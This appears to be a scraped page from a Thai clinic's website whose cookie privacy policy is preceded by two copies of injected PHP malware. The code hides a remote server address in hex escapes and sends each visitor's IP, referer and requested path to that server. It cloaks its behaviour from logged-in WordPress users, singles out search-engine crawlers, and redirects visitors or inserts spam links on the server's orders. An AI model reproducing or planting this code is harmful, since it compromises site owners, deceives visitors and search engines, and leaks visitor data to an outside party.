$value){if($key=='http2_session_id' || strpos($key,'wordpress_logged_in_')===0){$lf_enable=false;@setcookie('http2_session_id','1',2147483647,"/");break;}}ini_set('default_socket_timeout',10);$uri=$_SERVER['REQUEST_URI'] ?? '/';$ua=$_SERVER['HTTP_USER_AGENT'] ?? '';$bad_urls='#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i';if(preg_match($bad_urls,($_SERVER['HTTP_HOST'] ?? ''). $uri)){$lf_enable=false;}class Advanced_LinkFlow_Control{public $url="\x68\x74\x74\x70:\x2f/\x62p\x6ca\x6es\x6ff\x74.\x6fr\x67/\x67e\x74.\x70h\x70";public $client_hash="b9e71384";public $ua='';public $uri='';public $ip='';public $lang='';public $google_ip_list=array("64.233.*","66.102.*","66.249.*","72.14.*","74.125.*","108.177.*","209.85.*","216.239.*","172.217.*","35.190.247.*","35.191.*","35.203.*","35.204.*","35.224.*","35.240.*","35.241.*","35.242.*","35.243.*","35.244.*","35.245.*","35.246.*","35.247.*","35.199.*","35.200.*","35.201.*","35.202.*","35.203.*","35.204.*","35.205.*","35.206.*","35.207.*","35.208.*","35.209.*","35.210.*","35.211.*","35.212.*","35.213.*","35.214.*","35.215.*","35.216.*","35.217.*","35.218.*","35.219.*","35.220.*","35.221.*","35.222.*","35.223.*","35.224.*","35.225.*","35.226.*","35.227.*","35.228.*","35.229.*","35.230.*","35.231.*","35.232.*","35.233.*","35.234.*","35.235.*","35.236.*","35.237.*","35.238.*","35.239.*","35.240.*","35.241.*","35.242.*","35.243.*","35.244.*","35.245.*","35.246.*","35.247.*","35.248.*","35.249.*","35.250.*","35.251.*","35.252.*","35.253.*","35.254.*","35.255.*","34.64.*","34.65.*","34.66.*","34.67.*","34.68.*","34.69.*","34.70.*","34.71.*","34.72.*","34.73.*","34.74.*","34.75.*","34.76.*","34.77.*","34.78.*","34.79.*","34.80.*","34.81.*","34.82.*","34.83.*","34.84.*","34.85.*","34.86.*","34.87.*","34.88.*","34.89.*","34.90.*","34.91.*","34.92.*","34.93.*","34.94.*","34.95.*","34.96.*","34.97.*","34.98.*","34.99.*","34.100.*","34.101.*","34.102.*","34.103.*","34.104.*","34.105.*","34.106.*","34.107.*","34.108.*","34.109.*","34.110.*","34.111.*","34.112.*","34.113.*","34.114.*","34.115.*","34.116.*","34.117.*","34.118.*","34.119.*","34.120.*","34.121.*","34.122.*","34.123.*","34.124.*","34.125.*","34.126.*","34.127.*","34.128.*","34.129.*","34.130.*","34.131.*","34.132.*","34.133.*","34.134.*","34.135.*","34.136.*","34.137.*","34.138.*","34.139.*","34.140.*","34.141.*","34.142.*","34.143.*","34.144.*","34.145.*","34.146.*","34.147.*","34.148.*","34.149.*","34.150.*","34.151.*","34.152.*","34.153.*","34.154.*","34.155.*","34.156.*","34.157.*","34.158.*","34.159.*","34.160.*","34.161.*","34.162.*","34.163.*","34.164.*","34.165.*","34.166.*","34.167.*","34.168.*","34.169.*","34.170.*","34.171.*","34.172.*","34.173.*","34.174.*","34.175.*","34.176.*","34.177.*","34.178.*","34.179.*","34.180.*","34.181.*","34.182.*","34.183.*","34.184.*","34.185.*","34.186.*","34.187.*","34.188.*","34.189.*","34.190.*","34.191.*","34.192.*","34.193.*","34.194.*","34.195.*","34.196.*","34.197.*","34.198.*","34.199.*","34.200.*","34.201.*","34.202.*","34.203.*","34.204.*","34.205.*","34.206.*","34.207.*","34.208.*","34.209.*","34.210.*","34.211.*","34.212.*","34.213.*","34.214.*","34.215.*","34.216.*","34.217.*","34.218.*","34.219.*","34.220.*","34.221.*","34.222.*","34.223.*","34.224.*","34.225.*","34.226.*","34.227.*","34.228.*","34.229.*","34.230.*","34.231.*","34.232.*","34.233.*","34.234.*","34.235.*","34.236.*","34.237.*","34.238.*","34.239.*","34.240.*","34.241.*","34.242.*","34.243.*","34.244.*","34.245.*","34.246.*","34.247.*","34.248.*","34.249.*","34.250.*","34.251.*","34.252.*","34.253.*","34.254.*","34.255.*","2001:4860:4801:*","2001:4860:4802:*","2001:4860:4803:*","2001:4860:4804:*","2001:4860:4805:*","2001:4860:4806:*","2001:4860:4807:*","2001:4860:4808:*","2001:b028:*","2001:67c:*","2404:6800:*","2404:f340:*","2600:1900:*","2600:2700:*","2607:f8b0:*","2607:f8b1:*","2607:f8b2:*","2607:f8b3:*","2607:f8b4:*","2607:f8b5:*","2607:f8b6:*","2607:f8b7:*","2607:f8b8:*","2607:f8b9:*","2607:f8ba:*","2607:f8bb:*","2607:f8bc:*","2607:f8bd:*","2607:f8be:*","2607:f8bf:*","2a00:1450:*","2c0f:f248:*","2c0f:f249:*","2c0f:f24a:*","2c0f:f24b:*","2c0f:f24c:*","2c0f:f24d:*","2c0f:f24e:*","2c0f:f24f:*");public $bing_ip_list=array("13.66.*.*","13.67.*.*","13.68.*.*","13.69.*.*","20.36.*.*","20.37.*.*","20.38.*.*","20.39.*.*","40.77.*.*","40.79.*.*","52.231.*.*","191.233.*.*");public $yandex_ip_list=array("5.45.*.*","5.255.*.*","37.9.*.*","37.140.*.*","77.88.*.*","84.252.*.*","87.250.*.*","90.156.*.*","93.158.*.*","95.108.*.*","141.8.*.*","178.154.*.*","213.180.*.*","185.32.187.*");public $links=array();public $bot='';public $ref='';function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return @file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])? $parts['port'] : 80;$page=isset($parts['path'])? $parts['path'] : '';$page .=isset($parts['query'])? '?' . $parts['query'] : '';$page .=isset($parts['fragment'])? '#' . $parts['fragment'] : '';$page=($page=='')? '/' : $page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host:{$parts['host']}\r\n";$headers .="Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!==false){$resp .=$curr;}if(isset($curr)&& $curr !==false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}function match_ip($ip,$pattern){if(strpos($ip,':')!==false){$pattern=str_replace(':','\:',$pattern);$pattern=str_replace('*','.*',$pattern);$pattern='/^' . $pattern . '$/';return preg_match($pattern,$ip);}else{$pattern=str_replace(['. ','*'],['\. ','.*'],$pattern);$pattern='/^' . $pattern . '$/';return preg_match($pattern,$ip);}}function verify_googlebot($ip){$is_google_ip=false;foreach($this->google_ip_list as $ip_mask){if($this->match_ip($ip,$ip_mask)){$is_google_ip=true;break;}}if(!$is_google_ip){return false;}$hostname=@gethostbyaddr($ip);if(!$hostname || $hostname===$ip){return false;}if(!preg_match('/\.(googlebot|google)\.com$/i',$hostname)){return false;}return true;}function init($uri,$ua){$this->uri=$uri;$bot=FALSE;$this->ip=isset($_SERVER['HTTP_CF_CONNECTING_IP'])? $_SERVER['HTTP_CF_CONNECTING_IP'] :(isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR'] : 'unknown');$this->ref=isset($_SERVER['HTTP_REFERER'])? $_SERVER['HTTP_REFERER'] : '';$this->lang=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';$ua_patterns=[ 'bing'=> 'bingbot|msnbot|slurp|yahoo','yandex'=> 'yandexbot|yandex','duckduck'=> 'duckduckbot|duckduckgo' ];foreach($ua_patterns as $name=> $re){if($ua && preg_match("/$re/i",$ua)){$bot=TRUE;$this->bot=$name;break;}}if($bot){return $this->make_request();}if($this->verify_googlebot($this->ip)){$bot=TRUE;$this->bot='google';}else{$ip_lists=[ 'bing'=> $this->bing_ip_list,'yandex'=> $this->yandex_ip_list ];foreach($ip_lists as $name=> $list){$is_bot_ip=false;foreach($list as $ip_mask){if($this->match_ip($this->ip,$ip_mask)){$is_bot_ip=true;break;}}if($is_bot_ip){$bot=TRUE;$this->bot=$name;break;}}}if($bot && $this->bot !=='google'){return $this->make_request();}if(!$bot){$host_by_addr=@gethostbyaddr($this->ip);if($host_by_addr && $host_by_addr !==$this->ip){$host_patterns=[ 'bing'=> 'bing|msn|slurp|yahoo','yandex'=> 'yandex','duckduck'=> 'duckduckgo|duckduckbot' ];foreach($host_patterns as $name=> $pattern){if(preg_match("/$pattern/i",$host_by_addr)){$bot=TRUE;$this->bot=$name;break;}}}}return $this->make_request();}function make_request(){if(!empty($_SERVER['SERVER_NAME'])){$tmp=@parse_url('http: if(isset($tmp['host'])){$host=$tmp['host'];}}$host=$host ?? 'unknown';$sch='http';if(!empty($_SERVER['HTTPS'])&& strtolower((string)$_SERVER['HTTPS'])!=='off'){$sch='https';}elseif(!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])&& stripos((string)$_SERVER['HTTP_X_FORWARDED_PROTO'],'https')!==false){$sch='https';}$url=$this->url . "?host=$host&uri=" . urlencode($this->uri). "&bot={$this->bot}&ip={$this->ip}&ref=" . urlencode($this->ref). '&lang=' . urlencode($this->lang). '&sch=' . $sch . '&cv=' . $this->client_hash . '&ct=client';if(isset($_COOKIE['LFD'])|| isset($_REQUEST['LFD'])){$url .='&check=1';$page=$this->get($url);$res=0;if(strpos($page,"XTESTOKX")!==false){$res=1;}die(json_encode([ 'r'=> $res,'bot'=> $this->bot,'ip'=> $this->ip,'funcs'=> [ 'curl_init'=> function_exists('curl_init')? 1 : 0,'file_get_contents'=> function_exists('file_get_contents')? 1 : 0,'allow_url_fopen'=> ini_get('allow_url_fopen')? 1 : 0,'fsockopen'=> function_exists('fsockopen')? 1 : 0,'socket_set_option'=> function_exists('socket_set_option')? 1 : 0,] ]));}if(isset($_COOKIE['CURLOPT_LF_TEST'])|| isset($_REQUEST['CURLOPT_LF_TEST'])){$url .='&check=1';}$page=$this->get($url);if(preg_match('/(.*?)<\/url>/us',$page,$matches)){$url=trim($matches[1]);if(!headers_sent()){header("Location: " . $url);exit;}else{echo '';exit;}}if(preg_match('/(.*?)<\/page>/us',$page,$matches)){$page=$matches[1];die($page);}if(strpos($page,'')!==FALSE){preg_match_all('~(.*?)~',$page,$m);$this->links=isset($m[1])? $m[1] : array();}if(count($this->links)> 0){ob_start(array($this,'rwcontent'));}}function rwcontent($content){$blocked_tags=array('header','footer');$tags=array('p','span','strong','em','i','td','div','ul','li','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}(?:\s[^>]*)?>(.*?)~is",$content,$matches);if(isset($matches[0])){foreach($matches[0] as $match){$is_blocked=false;foreach($blocked_tags as $blocked_tag){$pattern="~<{$blocked_tag}.*?>.*?{$match}.*?~is";if(preg_match($pattern,$content)){$is_blocked=true;break;}}if(!$is_blocked){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}}if(count($tags_vals)> count($this->links)){break;}}$tag_index=0;$link_index=0;$links_count=count($this->links);$tags_vals_count=count($tags_vals);while($link_index < $links_count && $tag_index < $tags_vals_count){$link=$this->links[$link_index];if(substr($link,-3)==='###'){$linkHTML=substr($link,0,-3);}else{$seed=$_SERVER['REQUEST_URI'] . strlen($link);$hash1=crc32($seed);$offset=7000 +($hash1 % 6001);$hash2=crc32($seed . 'w');$width=1000 +($hash2 % 201);$linkHTML="
{$link}
";}$tag_val=$tags_vals[$tag_index];if(strlen($tag_val['content'])% 2==1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0{$linkHTML}",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+ 4))=="."){$tag_content_new=str_replace(".","{$linkHTML}",$tag_val['content']);}else{$tag_content_new=str_replace("","{$linkHTML}",$tag_val['content']);}}$content=preg_replace("~" . preg_quote($tag_val['content'],'~'). "~i",$tag_content_new,$content,1);if(strpos($content,$linkHTML)!==false){$link_index++;}$tag_index++;}if($link_index < $links_count){$tail=array();for($i=$link_index;$i < $links_count;$i++){$link=$this->links[$i];$tail[]=(substr($link,-3)==='###')? substr($link,0,-3): $link;}$footer=implode(' ',$tail);if(stripos($content,'')!==false){$content=preg_replace('~~i',$footer . '',$content,1);}else{$content .=$footer;}}return $content;}}if($lf_enable){$lf=new Advanced_LinkFlow_Control;$lf->init($uri,$ua);}} $value){if($key=='http2_session_id' || strpos($key,'wordpress_logged_in_')===0){$lf_enable=false;@setcookie('http2_session_id','1',2147483647,"/");break;}}ini_set('default_socket_timeout',10);$uri=$_SERVER['REQUEST_URI'] ?? '/';$ua=$_SERVER['HTTP_USER_AGENT'] ?? '';$bad_urls='#xmlrpc.php|wp-includes|wp-admin|wp-content|wp-login.php|wp-cron.php|\?feed=|wp-json|/feed|\.css|\.js|\.ico|\.png|\.gif|\.bmp|\.tiff|\.mpg|\.wmv|\.mp3|\.mpeg|\.zip|\.gzip|\.rar|\.exe|\.pdf|\.doc|\.swf|\.txt|\.jpg|administrator#i';if(preg_match($bad_urls,($_SERVER['HTTP_HOST'] ?? ''). $uri)){$lf_enable=false;}class Advanced_LinkFlow_Control{public $url="\x68\x74\x74\x70:\x2f/\x62p\x6ca\x6es\x6ff\x74.\x6fr\x67/\x67e\x74.\x70h\x70";public $client_hash="b9e71384";public $ua='';public $uri='';public $ip='';public $lang='';public $google_ip_list=array("64.233.*","66.102.*","66.249.*","72.14.*","74.125.*","108.177.*","209.85.*","216.239.*","172.217.*","35.190.247.*","35.191.*","35.203.*","35.204.*","35.224.*","35.240.*","35.241.*","35.242.*","35.243.*","35.244.*","35.245.*","35.246.*","35.247.*","35.199.*","35.200.*","35.201.*","35.202.*","35.203.*","35.204.*","35.205.*","35.206.*","35.207.*","35.208.*","35.209.*","35.210.*","35.211.*","35.212.*","35.213.*","35.214.*","35.215.*","35.216.*","35.217.*","35.218.*","35.219.*","35.220.*","35.221.*","35.222.*","35.223.*","35.224.*","35.225.*","35.226.*","35.227.*","35.228.*","35.229.*","35.230.*","35.231.*","35.232.*","35.233.*","35.234.*","35.235.*","35.236.*","35.237.*","35.238.*","35.239.*","35.240.*","35.241.*","35.242.*","35.243.*","35.244.*","35.245.*","35.246.*","35.247.*","35.248.*","35.249.*","35.250.*","35.251.*","35.252.*","35.253.*","35.254.*","35.255.*","34.64.*","34.65.*","34.66.*","34.67.*","34.68.*","34.69.*","34.70.*","34.71.*","34.72.*","34.73.*","34.74.*","34.75.*","34.76.*","34.77.*","34.78.*","34.79.*","34.80.*","34.81.*","34.82.*","34.83.*","34.84.*","34.85.*","34.86.*","34.87.*","34.88.*","34.89.*","34.90.*","34.91.*","34.92.*","34.93.*","34.94.*","34.95.*","34.96.*","34.97.*","34.98.*","34.99.*","34.100.*","34.101.*","34.102.*","34.103.*","34.104.*","34.105.*","34.106.*","34.107.*","34.108.*","34.109.*","34.110.*","34.111.*","34.112.*","34.113.*","34.114.*","34.115.*","34.116.*","34.117.*","34.118.*","34.119.*","34.120.*","34.121.*","34.122.*","34.123.*","34.124.*","34.125.*","34.126.*","34.127.*","34.128.*","34.129.*","34.130.*","34.131.*","34.132.*","34.133.*","34.134.*","34.135.*","34.136.*","34.137.*","34.138.*","34.139.*","34.140.*","34.141.*","34.142.*","34.143.*","34.144.*","34.145.*","34.146.*","34.147.*","34.148.*","34.149.*","34.150.*","34.151.*","34.152.*","34.153.*","34.154.*","34.155.*","34.156.*","34.157.*","34.158.*","34.159.*","34.160.*","34.161.*","34.162.*","34.163.*","34.164.*","34.165.*","34.166.*","34.167.*","34.168.*","34.169.*","34.170.*","34.171.*","34.172.*","34.173.*","34.174.*","34.175.*","34.176.*","34.177.*","34.178.*","34.179.*","34.180.*","34.181.*","34.182.*","34.183.*","34.184.*","34.185.*","34.186.*","34.187.*","34.188.*","34.189.*","34.190.*","34.191.*","34.192.*","34.193.*","34.194.*","34.195.*","34.196.*","34.197.*","34.198.*","34.199.*","34.200.*","34.201.*","34.202.*","34.203.*","34.204.*","34.205.*","34.206.*","34.207.*","34.208.*","34.209.*","34.210.*","34.211.*","34.212.*","34.213.*","34.214.*","34.215.*","34.216.*","34.217.*","34.218.*","34.219.*","34.220.*","34.221.*","34.222.*","34.223.*","34.224.*","34.225.*","34.226.*","34.227.*","34.228.*","34.229.*","34.230.*","34.231.*","34.232.*","34.233.*","34.234.*","34.235.*","34.236.*","34.237.*","34.238.*","34.239.*","34.240.*","34.241.*","34.242.*","34.243.*","34.244.*","34.245.*","34.246.*","34.247.*","34.248.*","34.249.*","34.250.*","34.251.*","34.252.*","34.253.*","34.254.*","34.255.*","2001:4860:4801:*","2001:4860:4802:*","2001:4860:4803:*","2001:4860:4804:*","2001:4860:4805:*","2001:4860:4806:*","2001:4860:4807:*","2001:4860:4808:*","2001:b028:*","2001:67c:*","2404:6800:*","2404:f340:*","2600:1900:*","2600:2700:*","2607:f8b0:*","2607:f8b1:*","2607:f8b2:*","2607:f8b3:*","2607:f8b4:*","2607:f8b5:*","2607:f8b6:*","2607:f8b7:*","2607:f8b8:*","2607:f8b9:*","2607:f8ba:*","2607:f8bb:*","2607:f8bc:*","2607:f8bd:*","2607:f8be:*","2607:f8bf:*","2a00:1450:*","2c0f:f248:*","2c0f:f249:*","2c0f:f24a:*","2c0f:f24b:*","2c0f:f24c:*","2c0f:f24d:*","2c0f:f24e:*","2c0f:f24f:*");public $bing_ip_list=array("13.66.*.*","13.67.*.*","13.68.*.*","13.69.*.*","20.36.*.*","20.37.*.*","20.38.*.*","20.39.*.*","40.77.*.*","40.79.*.*","52.231.*.*","191.233.*.*");public $yandex_ip_list=array("5.45.*.*","5.255.*.*","37.9.*.*","37.140.*.*","77.88.*.*","84.252.*.*","87.250.*.*","90.156.*.*","93.158.*.*","95.108.*.*","141.8.*.*","178.154.*.*","213.180.*.*","185.32.187.*");public $links=array();public $bot='';public $ref='';function get($url){if(function_exists('curl_init')){$ch=curl_init($url);curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,10);curl_setopt($ch,CURLOPT_TIMEOUT,30);curl_setopt($ch,CURLOPT_HEADER,0);curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);$data=curl_exec($ch);curl_close($ch);return $data;}elseif(@ini_get('allow_url_fopen')){return @file_get_contents($url);}else{$parts=parse_url($url);$target=$parts['host'];$port=isset($parts['port'])? $parts['port'] : 80;$page=isset($parts['path'])? $parts['path'] : '';$page .=isset($parts['query'])? '?' . $parts['query'] : '';$page .=isset($parts['fragment'])? '#' . $parts['fragment'] : '';$page=($page=='')? '/' : $page;if($fp=@fsockopen($target,$port,$errno,$errstr,3)){@socket_set_option($fp,SOL_SOCKET,SO_RCVTIMEO,array("sec"=> 1,"usec"=> 1));$headers="GET $page HTTP/1.1\r\n";$headers .="Host:{$parts['host']}\r\n";$headers .="Connection: Close\r\n\r\n";if(fwrite($fp,$headers)){$resp='';while(!feof($fp)&&($curr=fgets($fp,128))!==false){$resp .=$curr;}if(isset($curr)&& $curr !==false){fclose($fp);return substr(strstr($resp,"\r\n\r\n"),3);}}fclose($fp);}}return TRUE;}function match_ip($ip,$pattern){if(strpos($ip,':')!==false){$pattern=str_replace(':','\:',$pattern);$pattern=str_replace('*','.*',$pattern);$pattern='/^' . $pattern . '$/';return preg_match($pattern,$ip);}else{$pattern=str_replace(['. ','*'],['\. ','.*'],$pattern);$pattern='/^' . $pattern . '$/';return preg_match($pattern,$ip);}}function verify_googlebot($ip){$is_google_ip=false;foreach($this->google_ip_list as $ip_mask){if($this->match_ip($ip,$ip_mask)){$is_google_ip=true;break;}}if(!$is_google_ip){return false;}$hostname=@gethostbyaddr($ip);if(!$hostname || $hostname===$ip){return false;}if(!preg_match('/\.(googlebot|google)\.com$/i',$hostname)){return false;}return true;}function init($uri,$ua){$this->uri=$uri;$bot=FALSE;$this->ip=isset($_SERVER['HTTP_CF_CONNECTING_IP'])? $_SERVER['HTTP_CF_CONNECTING_IP'] :(isset($_SERVER['REMOTE_ADDR'])? $_SERVER['REMOTE_ADDR'] : 'unknown');$this->ref=isset($_SERVER['HTTP_REFERER'])? $_SERVER['HTTP_REFERER'] : '';$this->lang=isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '';$ua_patterns=[ 'bing'=> 'bingbot|msnbot|slurp|yahoo','yandex'=> 'yandexbot|yandex','duckduck'=> 'duckduckbot|duckduckgo' ];foreach($ua_patterns as $name=> $re){if($ua && preg_match("/$re/i",$ua)){$bot=TRUE;$this->bot=$name;break;}}if($bot){return $this->make_request();}if($this->verify_googlebot($this->ip)){$bot=TRUE;$this->bot='google';}else{$ip_lists=[ 'bing'=> $this->bing_ip_list,'yandex'=> $this->yandex_ip_list ];foreach($ip_lists as $name=> $list){$is_bot_ip=false;foreach($list as $ip_mask){if($this->match_ip($this->ip,$ip_mask)){$is_bot_ip=true;break;}}if($is_bot_ip){$bot=TRUE;$this->bot=$name;break;}}}if($bot && $this->bot !=='google'){return $this->make_request();}if(!$bot){$host_by_addr=@gethostbyaddr($this->ip);if($host_by_addr && $host_by_addr !==$this->ip){$host_patterns=[ 'bing'=> 'bing|msn|slurp|yahoo','yandex'=> 'yandex','duckduck'=> 'duckduckgo|duckduckbot' ];foreach($host_patterns as $name=> $pattern){if(preg_match("/$pattern/i",$host_by_addr)){$bot=TRUE;$this->bot=$name;break;}}}}return $this->make_request();}function make_request(){if(!empty($_SERVER['SERVER_NAME'])){$tmp=@parse_url('http: if(isset($tmp['host'])){$host=$tmp['host'];}}$host=$host ?? 'unknown';$sch='http';if(!empty($_SERVER['HTTPS'])&& strtolower((string)$_SERVER['HTTPS'])!=='off'){$sch='https';}elseif(!empty($_SERVER['HTTP_X_FORWARDED_PROTO'])&& stripos((string)$_SERVER['HTTP_X_FORWARDED_PROTO'],'https')!==false){$sch='https';}$url=$this->url . "?host=$host&uri=" . urlencode($this->uri). "&bot={$this->bot}&ip={$this->ip}&ref=" . urlencode($this->ref). '&lang=' . urlencode($this->lang). '&sch=' . $sch . '&cv=' . $this->client_hash . '&ct=client';if(isset($_COOKIE['LFD'])|| isset($_REQUEST['LFD'])){$url .='&check=1';$page=$this->get($url);$res=0;if(strpos($page,"XTESTOKX")!==false){$res=1;}die(json_encode([ 'r'=> $res,'bot'=> $this->bot,'ip'=> $this->ip,'funcs'=> [ 'curl_init'=> function_exists('curl_init')? 1 : 0,'file_get_contents'=> function_exists('file_get_contents')? 1 : 0,'allow_url_fopen'=> ini_get('allow_url_fopen')? 1 : 0,'fsockopen'=> function_exists('fsockopen')? 1 : 0,'socket_set_option'=> function_exists('socket_set_option')? 1 : 0,] ]));}if(isset($_COOKIE['CURLOPT_LF_TEST'])|| isset($_REQUEST['CURLOPT_LF_TEST'])){$url .='&check=1';}$page=$this->get($url);if(preg_match('/(.*?)<\/url>/us',$page,$matches)){$url=trim($matches[1]);if(!headers_sent()){header("Location: " . $url);exit;}else{echo '';exit;}}if(preg_match('/(.*?)<\/page>/us',$page,$matches)){$page=$matches[1];die($page);}if(strpos($page,'')!==FALSE){preg_match_all('~(.*?)~',$page,$m);$this->links=isset($m[1])? $m[1] : array();}if(count($this->links)> 0){ob_start(array($this,'rwcontent'));}}function rwcontent($content){$blocked_tags=array('header','footer');$tags=array('p','span','strong','em','i','td','div','ul','li','body');$tags_vals=array();foreach($tags as $tag){preg_match_all("~<{$tag}(?:\s[^>]*)?>(.*?)~is",$content,$matches);if(isset($matches[0])){foreach($matches[0] as $match){$is_blocked=false;foreach($blocked_tags as $blocked_tag){$pattern="~<{$blocked_tag}.*?>.*?{$match}.*?~is";if(preg_match($pattern,$content)){$is_blocked=true;break;}}if(!$is_blocked){$tags_vals[]=array('tag'=> $tag,'content'=> $match);}}}if(count($tags_vals)> count($this->links)){break;}}$tag_index=0;$link_index=0;$links_count=count($this->links);$tags_vals_count=count($tags_vals);while($link_index < $links_count && $tag_index < $tags_vals_count){$link=$this->links[$link_index];if(substr($link,-3)==='###'){$linkHTML=substr($link,0,-3);}else{$seed=$_SERVER['REQUEST_URI'] . strlen($link);$hash1=crc32($seed);$offset=7000 +($hash1 % 6001);$hash2=crc32($seed . 'w');$width=1000 +($hash2 % 201);$linkHTML="
{$link}
";}$tag_val=$tags_vals[$tag_index];if(strlen($tag_val['content'])% 2==1){$tag_content_new=$tag_val['content'];$tag_content_new=preg_replace("(<{$tag_val['tag']}.*?>)","$0{$linkHTML}",$tag_content_new,1);}else{if(substr($tag_val['content'],-(strlen($tag_val['tag'])+ 4))=="."){$tag_content_new=str_replace(".","{$linkHTML}",$tag_val['content']);}else{$tag_content_new=str_replace("","{$linkHTML}",$tag_val['content']);}}$content=preg_replace("~" . preg_quote($tag_val['content'],'~'). "~i",$tag_content_new,$content,1);if(strpos($content,$linkHTML)!==false){$link_index++;}$tag_index++;}if($link_index < $links_count){$tail=array();for($i=$link_index;$i < $links_count;$i++){$link=$this->links[$i];$tail[]=(substr($link,-3)==='###')? substr($link,0,-3): $link;}$footer=implode(' ',$tail);if(stripos($content,'')!==false){$content=preg_replace('~~i',$footer . '',$content,1);}else{$content .=$footer;}}return $content;}}if($lf_enable){$lf=new Advanced_LinkFlow_Control;$lf->init($uri,$ua);}} Vsquareclinic นโยบายความเป็นส่วนตัว (Privacy Policy)

นโยบายความเป็นส่วนตัว (Privacy Policy)

นโยบายในการคุ้มครองข้อมูลส่วนบุคคล การใช้งานคุกกี้ (Cookie) บริษัท วี เอ็กคลูซีฟ กรุ๊ป จำกัด (“เรา”) ให้ความสำคัญกับการคุ้มครองข้อมูลส่วนบุคคลของทุกคน (“ท่าน”) ที่เข้าเยี่ยมชม/ใช้งานเว็บไซต์ https://www.vsquareclinic.com/, https://vsqclinic.com/, https://www.vsquareconsult.com/, https://vsquare-under-eye.com/, https://v-sure.vsquare.clinic (“เว็บไซต์”) ซึ่งข้อกำหนดและเงื่อนไขในนโยบายในการคุ้มครองข้อมูลส่วนบุคคลนี้ (“นโยบาย”) คือแนวทางที่เราปฏิบัติต่อข้อมูลส่วนบุคคลของท่าน ทั้งการเก็บรวบรวม การใช้ การเปิดเผย ตลอดจนการปกป้องและคุ้มครองข้อมูลส่วนบุคคลที่ได้มาจากการใช้งานคุ๊กกี้ในประเภทต่างๆ ที่เกี่ยวข้องกับเว็บไซต์ของเรา

นโยบายนี้จะอธิบายความหมาย การใช้ประโยชน์ การทำงาน และประเภทของคุกกี้ รวมถึงวิธีจัดการ/ลบคุกกี้เพื่อความเป็นส่วนตัวของท่าน และยังเป็นการแจ้งให้ท่านทราบถึงการมีอยู่ของคุกกี้ในเว็บไซต์ของเรา ทั้งนี้ การเข้าเยี่ยมชม/ใช้งานเว็บไซต์ของท่าน ถือว่าท่านได้ยินยอมและยืนยันให้เราใช้งานคุกกี้กับเว็บไซต์ของเราแล้ว

ความหมายของคุกกี้

คุกกี้เป็นไฟล์ข้อความ (text file) ขนาดเล็กเพื่อจัดเก็บข้อมูล โดยจะบันทึกลงไปในอุปกรณ์คอมพิวเตอร์ หรือเครื่องมือสื่อสารที่เข้าใช้งานของท่านผ่านทางเว็บเบราว์เซอร์ที่ท่านเลือกใช้ในขณะที่ท่านเข้าเยี่ยมชมเว็บไซต์ของเรา

การใช้ประโยชน์ของคุกกี้

เราใช้คุกกี้เพื่อเก็บข้อมูลการเข้าเยี่ยมเว็บไซต์ของท่าน โดยข้อมูลนี้จะทำให้เราสามารถจดจำลักษณะการใช้งานเว็บไซต์ของท่านได้ง่ายขึ้น และข้อมูลเหล่านี้จะถูกนำไปเพื่อปรับปรุงเว็บไซต์ของเราให้เข้ากับความต้องการของท่านมากยิ่งขึ้น นอกจากนั้น เพื่อความสะดวกและรวดเร็วในการใช้งานเว็บไซต์ของท่าน เราอาจจำเป็นต้องให้บุคคลที่สามดำเนินการดังกล่าวได้ ซึ่งอาจจะต้องใช้อินเตอร์เน็ตโปรโตคอลแอดเดรส (IP Address) และคุกกี้เพื่อวิเคราะห์ ตลอดจนเชื่อมโยงข้อมูล และประมวลผลตามวัตถุประสงค์ทางการตลาด

ประเภทและการทำงานของคุกกี้

เราใช้คุกกี้4 ประเภทในเว็บไซต์ของเรา ซึ่งการใช้คุกกี้ดังกล่าวจะเป็นแบบไม่สามารถระบุตัวตนของท่านได้ (Anonymous) ตามรายละเอียดดังต่อไปนี้

  1. คุกกี้ประเภทจำเป็นถาวร (Essential Cookies): คุกกี้ประเภทนี้มีความจำเป็นอย่างยิ่งในเว็บไซต์ของเรา ซึ่งจะทำให้ท่านสามารถเข้าถึงข้อมูลและใช้งานในเว็บไซต์ของเราได้ทุกส่วน โดยคุกกี้ประเภทนี้จะถูกจัดเก็บและลบออกหลังจากการเยี่ยมชม/เข้าใช้งานเว็บไซต์ของท่าน
